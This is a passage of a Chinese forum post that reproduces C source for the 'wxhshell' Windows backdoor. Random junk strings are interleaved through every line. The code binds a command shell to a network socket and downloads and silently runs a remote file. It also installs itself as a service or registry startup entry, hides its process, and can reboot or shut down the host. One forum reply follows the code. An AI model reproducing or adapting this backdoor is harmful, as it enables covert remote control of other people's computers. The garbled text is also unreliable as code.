  if(DownloadFile(cmd,wsh)) :sQ>oNnz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _U_O0@xi  
  else !Ii[`H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hvGD`  
  } 1<Sg@  
  else { VV{>Kq+&,v  
aeISb83Y|  
    switch(cmd[0]) { }T0O~c{$i  
  8t3m$<7  
  // 帮助 <.mH-Y5i  
  case '?': { 9Ta0Li  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dU#-;/}o  
    break; CLTkyS)C  
  } ;=7K*npT  
  // 安装 V)5K/ U{  
  case 'i': { *a\6X( ~  
    if(Install()) 9O -2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lm6hFvEZ  
    else &JXb) W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p- a{6<h  
    break; ~o>Gm>5!HH  
    } Zwm/c]6`  
  // 卸载 W#%s0EN<_  
  case 'r': { f1]zsn:  
    if(Uninstall()) lxm/*^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R8cOb*D  
    else D<m0G]Ht*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X@"G1j >/  
    break; mU]VFPr5  
    } [ /YuI@C,@  
  // 显示 wxhshell 所在路径 .L+XV y  
  case 'p': { wk ^7/B  
    char svExeFile[MAX_PATH]; {fnx=BaG  
    strcpy(svExeFile,"\n\r"); W|D kq  
      strcat(svExeFile,ExeFile); m`l9d4p w?  
        send(wsh,svExeFile,strlen(svExeFile),0); FJDE48Vi  
    break; .[ }G{%M~[  
    } {"+M%%`*#  
  // 重启 PJcfiRa'jQ  
  case 'b': { NJ)Dw`|%|)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~_-]> SI  
    if(Boot(REBOOT)) jM&di  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Wp5[(bg  
    else { SIV !8mz  
    closesocket(wsh); b,^Gj]7  
    ExitThread(0); ]q.%_  
    } O5:bdt.  
    break; Z(7kwhP[`  
    } g_1#if&  
  // 关机 fO$){(]^  
  case 'd': { dYwkP^KB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PR Mg6  
    if(Boot(SHUTDOWN)) &s='$a; 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p_h/hTi  
    else { QYMfxpiC  
    closesocket(wsh); yo=L1; H  
    ExitThread(0); {u/1ph-  
    } Y@`uBB[  
    break; U fyhd  
    } c 3O/#*  
  // 获取shell F?|Efpzow?  
  case 's': { *m}8L%<HT  
    CmdShell(wsh); HMCLJ/  
    closesocket(wsh); W|7|XO  
    ExitThread(0); \c -m\|  
    break; Hi A E9  
  } `^Vd*  
  // 退出 }! EVf  
  case 'x': { dgjK\pH`h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cjx4vP  
    CloseIt(wsh); O|V0WiY<  
    break; !,$#i  
    } 7ocUFY0"  
  // 离开 V9,<>  
  case 'q': { _6nAxm&x`%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |gA@WV-%  
    closesocket(wsh); .`}TND~  
    WSACleanup(); E ?Mgbd3  
    exit(1); 3'Y-~^ml|  
    break; &t[[4+Qt  
        } x ;|HT  
  } ~;3yjO)l?)  
  } t,?, T~#9  
az F!V  
  // 提示信息 5c` ;~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AH#mL  
} %):_  
  } cuN9R G  
Gr\ ]6  
  return; A?H#bRAs  
} Hu"$ )V  
509T?\r  
// shell模块句柄 Z)s !p  
int CmdShell(SOCKET sock) "[N2qJ}p  
{ +})QTFV  
STARTUPINFO si; )X0=z1$  
ZeroMemory(&si,sizeof(si)); MY,~leP&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~HB#7+b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1.du#w  
PROCESS_INFORMATION ProcessInfo; dd  
char cmdline[]="cmd"; |9jK-F6   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x95s%29RS  
  return 0; t`Kpbfk  
} LDr?'M!D  
uge r:cD  
// 自身启动模式 9\4x<*  
int StartFromService(void) AioW*`[WjA  
{ ij$NTY=u  
typedef struct ubM1Qr  
{ 5@2Rl>B$  
  DWORD ExitStatus; 2Mt$Dah  
  DWORD PebBaseAddress; ,Z~`aHhr  
  DWORD AffinityMask; !T,<p    
  DWORD BasePriority; x4I!f)8Q  
  ULONG UniqueProcessId; |dgiW"tUm  
  ULONG InheritedFromUniqueProcessId; F9 r5 Z  
}   PROCESS_BASIC_INFORMATION; h9QM nH'  
SaXt"Ju,AH  
PROCNTQSIP NtQueryInformationProcess; Pvc)-A  
gD9CA*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -TF},V~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l zFiZx  
<  o?ua}  
  HANDLE             hProcess; uppa`addK  
  PROCESS_BASIC_INFORMATION pbi; q-(~w!e  
U4"^NLAq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |8'}mjs.Q  
  if(NULL == hInst ) return 0; v#?DWeaFS_  
?{ )'O+s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;0dH@b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &V?+Y2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M2Nh3ijr  
4;6"I2;zfG  
  if (!NtQueryInformationProcess) return 0; h"1}j'2>@  
8xLQ" l+"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *|y'%y  
  if(!hProcess) return 0; ww{k_'RRJ  
FEk9a^Xyx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xex7Lr&  
X%YZQc9  
  CloseHandle(hProcess); g$uiwqNA%  
wO,qFY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +ywz@0nx  
if(hProcess==NULL) return 0; jr`T6!\  
Z;uKnJh  
HMODULE hMod; zeMV_rW~  
char procName[255]; 8'Q+%{?1t  
unsigned long cbNeeded; XZOBK^,5^B  
=78y* `L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .4a|^ vT  
QT%`=b  
  CloseHandle(hProcess); Z?eTjkNS#  
w: BJ4bi=  
if(strstr(procName,"services")) return 1; // 以服务启动 ._0$#J S[  
5S4Nx>  
  return 0; // 注册表启动 l-XfUjJ  
} Qr R+3kxM  
%bP+P(vZ  
// 主模块 fQ9af)d  
int StartWxhshell(LPSTR lpCmdLine) )j8'6tk)Z  
{ oc"p5Y3,Os  
  SOCKET wsl; 'gN[LERT  
BOOL val=TRUE; tV=Qt[|@  
  int port=0; ?*~ ~Ok  
  struct sockaddr_in door; r.?dT |A  
a0ms9%Y;Q[  
  if(wscfg.ws_autoins) Install(); cUug}/!I  
!\'w>y7  
port=atoi(lpCmdLine); iYLg[J"  
c\. )vH  
if(port<=0) port=wscfg.ws_port; 4M"'B A<  
Ue9d0#9  
  WSADATA data; SVa^:\"$[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; glch06  
bD v& ;Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ge)G.>c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (1=@.srAzK  
  door.sin_family = AF_INET; 3SY1>}(Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #`@)lU+/  
  door.sin_port = htons(port); 0Y0z7A:  
IYe[IHny1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &DQ_qOKD  
closesocket(wsl); s3Bo'hGxG  
return 1; hzAuj0-A  
} #IppjaPl8  
VN-0hw/A  
  if(listen(wsl,2) == INVALID_SOCKET) { .\`M oH  
closesocket(wsl); tuH#Cy  
return 1; BHpay  
} \)*\$I\]  
  Wxhshell(wsl); d1yLDj?  
  WSACleanup(); VKPsg  
k'X"jon  
return 0; xRZ K&vkKE  
"X<V>q$0~c  
} `$"{-  
9F3aT'3#!  
// 以NT服务方式启动 #F/W_G7v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FpB3SJ6 B  
{ fm#7}Y  
DWORD   status = 0; D8k >f ]  
  DWORD   specificError = 0xfffffff; uaD+G:{ [  
aAcQmq TT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UaG&HGg]!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )l*3^kwL{U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tv-SX=T  
  serviceStatus.dwWin32ExitCode     = 0; #}6~>A  
  serviceStatus.dwServiceSpecificExitCode = 0; L]YJ#5  
  serviceStatus.dwCheckPoint       = 0; W<#Kam:8e  
  serviceStatus.dwWaitHint       = 0; uGC%3!f!  
2x gk$E$7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5> 81Vhc,  
  if (hServiceStatusHandle==0) return; Z%sTj6Th  
nF-l4=  
status = GetLastError(); B8wGWZ@  
  if (status!=NO_ERROR) 5-4  
{ v%#@.D!)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; af[dkuv  
    serviceStatus.dwCheckPoint       = 0; ndyI sR  
    serviceStatus.dwWaitHint       = 0; ./ tZ*sP:  
    serviceStatus.dwWin32ExitCode     = status; JrxQ.,*i  
    serviceStatus.dwServiceSpecificExitCode = specificError; :MYLap&L&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^K<!`B  
    return; r" |do2s  
  } xJ^B.;>  
]'<}kJtN.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iqF|IVPoi  
  serviceStatus.dwCheckPoint       = 0; &w=ul'R98  
  serviceStatus.dwWaitHint       = 0; -{oZK{a1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WM9({BZ  
} i1{)\/f3  
^Ux.s Q  
// 处理NT服务事件,比如:启动、停止 {Zs EYUP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) njNqUo>  
{ v)vogtAQa  
switch(fdwControl) (\'lV8}U  
{ E.B6u, Te  
case SERVICE_CONTROL_STOP: A'uubFRL2[  
  serviceStatus.dwWin32ExitCode = 0; c r18`xU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IUWJi\,  
  serviceStatus.dwCheckPoint   = 0; PE_JO(e;Xm  
  serviceStatus.dwWaitHint     = 0; n-?zH:]GG{  
  { B0g?!.#23  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uxX 3wY;M  
  } \R 3O39[  
  return; >kuu\  
case SERVICE_CONTROL_PAUSE: Vo%ikR #  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `/G9*tIR8g  
  break; -lfbn =3  
case SERVICE_CONTROL_CONTINUE: {rF9[S"h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }_}LaEYAo  
  break; c ? Zi/7  
case SERVICE_CONTROL_INTERROGATE: DEPsud;  
  break; (nkiuCO  
}; N7q6pBA"E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B90fUK2g  
} {\h:k\k  
&`'@}o>2  
// 标准应用程序主函数 'v(b^x<ZS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bvl!^xO]  
{ )|]*"yf:E  
f]Zj"Tt-  
// 获取操作系统版本 %xX b5aY  
OsIsNt=GetOsVer(); 2`V0k.$?p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HbCcROl(  
a!j{A?7Kw.  
  // 从命令行安装 Z0 c|;  
  if(strpbrk(lpCmdLine,"iI")) Install(); U @}r?!)"f  
|41~U\  
  // 下载执行文件 @E> rqI;`  
if(wscfg.ws_downexe) { }?CKE<#%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YvUV9qps~  
  WinExec(wscfg.ws_filenam,SW_HIDE); -|:mRAe  
} Q}^qu6  
I 'ha=PeVn  
if(!OsIsNt) { =+VDb5= TV  
// 如果时win9x,隐藏进程并且设置为注册表启动 z wn#E  
HideProc(); :@Ml-ZE  
StartWxhshell(lpCmdLine); JGYJ;j{E]  
} gP ^A  
else LmKY$~5P  
  if(StartFromService()) 2H1?f|0>  
  // 以服务方式启动 `Gg,oCQg  
  StartServiceCtrlDispatcher(DispatchTable); 5p7i9"tgn  
else KO))2GET  
  // 普通方式启动 e[QEOx/-h2  
  StartWxhshell(lpCmdLine); yx<-M  
4^^=^c  
return 0; jU{~3Gn?  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五